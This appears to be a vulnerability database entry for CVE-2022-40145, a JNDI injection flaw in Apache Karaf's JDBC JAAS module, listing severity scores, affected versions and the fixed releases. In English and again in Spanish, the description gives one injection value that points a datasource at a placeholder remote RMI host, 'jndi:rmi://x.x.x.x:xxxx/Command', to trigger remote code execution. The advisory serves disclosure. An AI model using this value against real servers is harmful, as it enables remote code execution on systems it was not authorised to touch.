CVE-2022-40145

Apache Karaf: JDBC JAAS LDAP injection

Severity Score

9.8

*CVSS v3.1

Exploit Likelihood

*EPSS

Affected Versions

*CPE

Public Exploits

*Multiple Sources

Exploited in Wild

*KEV

Decision

*SSVC

Descriptions

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering.
An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a
configuration uses a JNDI LDAP data source URI when an attacker has
control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Esta vulnerabilidad se trata de una posible inyección de código cuando un atacante tiene el control del servidor LDAP de destino utilizando la URL JDBC JNDI. La función jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sin filtrar. Un usuario puede modificar `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` a `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://xxxx:xxxx/Command ");` en JdbcLoginModuleTest#setup. Esto es vulnerable a un ataque de ejecución remota de código (RCE) cuando una configuración utiliza un URI de origen de datos LDAP JNDI cuando un atacante tiene control del servidor LDAP de destino. Este problema afecta a todas las versiones de Apache Karaf hasta 4.4.1 y 4.3.7. Animamos a los usuarios a actualizar a Apache Karaf al menos 4.4.2 o 4.3.8.

*Credits: Xun Bai <bbbbear68@gmail.com>

CVSS Scores

NISTv3.1 9.8

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

* Common Vulnerability Scoring System

SSVC

Decision:-

Exploitation

Automatable

Tech. Impact

* Organization's Worst-case Scenario

Timeline

2022-09-07 CVE Reserved
2022-12-21 CVE Published
2024-07-13 EPSS Updated
2024-08-03 CVE Updated
---------- Exploited in Wild
---------- KEV Due Date
---------- First Exploit

CWE

CWE-20: Improper Input Validation
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

CAPEC

References (1)

URL	Tag	Source

URL	Date	SRC

URL	Date	SRC

URL	Date	SRC
https://karaf.apache.org/security/cve-2022-40145.txt	2023-11-07

Affected Vendors, Products, and Versions

Vendor		Product				Version		Other		Status
Vendor	Product	Version	Other	Status	<-- -->	Vendor	Product	Version	Other	Status
Apache Search vendor "Apache"		Karaf Search vendor "Apache" for product "Karaf"				< 4.3.8 Search vendor "Apache" for product "Karaf" and version " < 4.3.8"		-		Affected
Apache Search vendor "Apache"		Karaf Search vendor "Apache" for product "Karaf"				>= 4.4.0 < 4.4.2 Search vendor "Apache" for product "Karaf" and version " >= 4.4.0 < 4.4.2"		-		Affected